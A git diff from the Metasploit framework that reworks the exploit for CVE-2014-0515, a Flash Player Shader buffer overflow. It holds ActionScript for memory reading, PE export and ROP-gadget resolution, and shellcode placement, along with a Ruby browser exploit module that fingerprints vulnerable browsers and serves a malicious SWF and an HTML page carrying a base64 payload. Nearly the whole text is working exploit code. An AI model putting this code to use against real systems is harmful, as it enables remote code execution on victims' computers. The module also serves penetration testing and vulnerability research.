vector_address:*):Array{ - var content:uint; - var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); - var index:uint; - var memory_protect_ptr:uint; - var _local_6:uint; - if (allocation >= vector_address) - { - index = ((allocation - vector_address) / 4); - } else - { - index = (0x40000000 - ((vector_address - allocation) / 4)); - }; - - //push 1 ; 6a 01 - //push dword ptr [eax-8] ; ff 70 f8 - //push dword ptr [eax-4] ; ff 70 fc - //call sub_1059DD00 // Will do VirtualProtect - var offset:uint; - while (1) - { - index--; - content = vector[index]; - if (content == 0xfff870ff) - { - offset = 2; - break; - }; - if (content == 0xf870ff01) - { - offset = 1; - break; - }; - if (content == 0x70ff016a) - { - content = vector[(index + 1)]; - if (content == 0xfc70fff8) - { - offset = 0; - break; - }; - } else - { - if (content == 0x70fff870) - { - offset = 3; - break; - }; - }; - }; - - memory_protect_ptr = ((vector_address + (4 * index)) - offset); - index--; - var content_before:uint = vector[index]; - - if (content_before == 0x16a0424) - { - return ([memory_protect_ptr, _local_6]); - }; - if (content_before == 0x6a042444) - { - return ([memory_protect_ptr, _local_6]); - }; - if (content_before == 0x424448b) - { - return ([memory_protect_ptr, _local_6]); - }; - if (content_before == 0xff016a04) - { - return ([memory_protect_ptr, _local_6]); - }; - _local_6 = (memory_protect_ptr - 6); - - while (1) - { - index--; - content = vector[index]; - if (content == 0x850ff50) - { - if (uint(vector[(index + 1)]) == 0x5e0cc483) - { - offset = 0; - break; - }; - }; - content = (content & 0xFFFFFF00); - if (content == 0x50FF5000) - { - if (uint(vector[(index + 1)]) == 0xcc48308) - { - offset = 1; - break; - }; - }; - content = (content & 0xFFFF0000); - if (content == 0xFF500000) - { - if (uint(vector[(index + 1)]) == 0xc4830850) - { - if (uint(vector[(index + 2)]) == 0xc35d5e0c) - { - offset = 2; - break; - }; - }; - }; - content = (content & 0xFF000000); - if (content == 0x50000000) - { - if (uint(vector[(index + 1)]) == 0x830850ff) - { - if (uint(vector[(index + 2)]) == 0x5d5e0cc4) - { - offset = 3; - break; - }; - }; - }; - }; - memory_protect_ptr = ((vector_address + (4 * index)) + offset); - return ([memory_protect_ptr, _local_6]); - } - - // vector: vector with tweaked length - // address: memory address of vector data - function find_file_ref_vtable(vector:*, address:*):uint{ - var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c)); - - // Find an allocation of size 0x2a0 - var allocation_size:uint; - while (true) - { - allocation_size = this.read_memory(vector, address, (allocation + 8)); - if (allocation_size == 0x2a0) break; - if (allocation_size < 0x2a0) - { - allocation = (allocation + 0x24); // next allocation - } else - { - allocation = (allocation - 0x24); // prior allocation - }; - }; - var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc)); - while (true) - { - if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break; - if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break; - allocation_contents = this.read_memory(vector, address, (allocation_contents + 8)); - }; - return (allocation_contents); - } - - // Returns pointer to the nops in one of the allocated code vectors - function findCodeVector(vector:*, vector_address:*, mark:*):uint{ - var allocation_size:uint; - var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); - while (true) - { - allocation_size = this.read_memory(vector, vector_address, (allocation + 8)); - if (allocation_size == 0x7f0) break; // Code Vector found - allocation = (allocation + 0x24); // next allocation - }; - - // allocation contents should be the vector code, search for the mark 0x45454545 - var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc)); - while (true) - { - if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break; - allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation - }; - return ((allocation_contents + 0x2c)); - } - - // create 8 vectors of size 0x7f0 inside an array to place shellcode - function createCodeVectors(mark:uint, nops:uint){ - var code_vectors_array:Array = new Array(); - var i:* = 0; - while (i < 8) - { - code_vectors_array[i] = new Vector.(((0x7f0 / 4) - 8)); // new Vector.(0x1f4) - code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4 - code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4 - i++; - }; - return (code_vectors_array); - } - - - // Fill with the code vectors with the shellcode - function fillCodeVectors(array_code_vectors:Array) { - var i:uint = 0; - var sh:uint=1; - - while(i < array_code_vectors.length) - { - for(var u:String in shellcodeObj) - { - array_code_vectors[i][sh++] = Number(shellcodeObj[u]); - } - i++; - sh = 1; - } - } - } -}//package diff --git a/external/source/exploits/CVE-2014-0515/GraphShadLinux.as b/external/source/exploits/CVE-2014-0515/GraphShadLinux.as new file mode 100755 index 0000000000..2593201484 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/GraphShadLinux.as @@ -0,0 +1,10 @@ +package +{ + import mx.core.ByteArrayAsset; + + [Embed(source="binary_data_linux", mimeType="application/octet-stream")] + public class GraphShadLinux extends ByteArrayAsset + { + + } +} diff --git a/external/source/exploits/CVE-2014-0515/GraphShadWindows.as b/external/source/exploits/CVE-2014-0515/GraphShadWindows.as new file mode 100755 index 0000000000..e4f5f20453 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/GraphShadWindows.as @@ -0,0 +1,10 @@ +package +{ + import mx.core.ByteArrayAsset; + + [Embed(source="binary_data_windows", mimeType="application/octet-stream")] + public class GraphShadWindows extends ByteArrayAsset + { + + } +} diff --git a/external/source/exploits/CVE-2014-0515/Graph_Shad.as b/external/source/exploits/CVE-2014-0515/Graph_Shad.as deleted file mode 100755 index c0e84dff5d..0000000000 --- a/external/source/exploits/CVE-2014-0515/Graph_Shad.as +++ /dev/null @@ -1,10 +0,0 @@ -package -{ - import mx.core.ByteArrayAsset; - - [Embed(source="binary_data", mimeType="application/octet-stream")] - public class Graph_Shad extends ByteArrayAsset - { - - } -} \ No newline at end of file diff --git a/external/source/exploits/CVE-2014-0515/Logger.as b/external/source/exploits/CVE-2014-0515/Logger.as new file mode 100755 index 0000000000..61ec768c25 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 1 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/PE.as b/external/source/exploits/CVE-2014-0515/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/binary_data_linux b/external/source/exploits/CVE-2014-0515/binary_data_linux new file mode 100755 index 0000000000..27a7ca7f9d Binary files /dev/null and b/external/source/exploits/CVE-2014-0515/binary_data_linux differ diff --git a/external/source/exploits/CVE-2014-0515/binary_data b/external/source/exploits/CVE-2014-0515/binary_data_windows similarity index 100% rename from external/source/exploits/CVE-2014-0515/binary_data rename to external/source/exploits/CVE-2014-0515/binary_data_windows diff --git a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb new file mode 100644 index 0000000000..7265fba575 --- /dev/null +++ b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player Shader Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow vulnerability in Adobe Flash Player. The + vulnerability occurs in the flash.Display.Shader class, when setting specially + crafted data as its bytecode, as exploited in the wild in April 2014. This module + has been tested successfully on: + * Windows 7 SP1, IE 8 to IE 11 with Flash 13.0.0.182. + * Windows 7 SP1, Firefox 38.0.5, Flash 11.7.700.275 and Adobe Flash 13.0.0.182 + * Windows 8.1, Firefox 38.0.5 and Adobe Flash 13.0.0.182. + * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.350 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2014-0515'], + ['BID', '67092'], + ['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'], + ['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win', 'linux'], + 'Arch' => [ARCH_X86], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::LINUX || + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF + when 'Linux' + return true if ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.7.700.275') + return true if ver =~ /^12\./ + return true if ver =~ /^13\./ && Gem::Version.new(ver) <= Gem::Version.new('13.0.0.182') + when 'Linux' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.350') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ], + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Apr 28 2014', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] + + if target.name =~ /Windows/ + platform_id = 'win' + elsif target.name =~ /Linux/ + platform_id = 'linux' + end + + html_template = %Q| + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0515', 'msf.swf' ) + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end diff --git a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb index 4e54893877..48b2268ad1 100644 --- a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb +++ b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb @@ -9,10 +9,13 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 8, 11), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf') def initialize(info={}) super(update_info(info, - 'Name' => "Adobe Flash Player Shader Buffer Overflow", + 'Name' => 'Adobe Flash Player Shader Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability in Adobe Flash Player. The vulnerability occurs in the flash.Display.Shader class, when setting specially @@ -36,16 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'Space' => 2000, - 'DisableNops' => true, - 'PrependEncoder' => stack_adjust - }, - 'DefaultOptions' => - { - # Disabled by default to allow sessions on Firefox, still useful when exploiting IE - #'InitialAutoRunScript' => 'migrate -f', - 'Retries' => false, - 'EXITFUNC' => "thread" + 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => @@ -60,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Automatic', {} ] ], 'Privileged' => false, - 'DisclosureDate' => "Apr 28 2014", + 'DisclosureDate' => 'Apr 28 2014', 'DefaultTarget' => 0)) end @@ -69,48 +63,34 @@ class Metasploit3 < Msf::Exploit::Remote super end - def stack_adjust - adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb - adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit - adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit - adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset - - adjust - end - def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ - print_status("Sending SWF...") + print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end - print_status("Sending HTML...") - tag = retrieve_tag(cli, request) - profile = get_profile(tag) - profile[:tried] = false unless profile.nil? # to allow request the swf + print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" - flash_payload = "" - get_payload(cli,target_info).unpack("V*").each do |i| - flash_payload << "0x#{i.to_s(16)}," - end - flash_payload.gsub!(/,$/, "") - + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] + platform_id = 'win' html_template = %Q| - + - + @@ -120,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote end def create_swf - path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" ) + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0515', 'msf.swf' ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf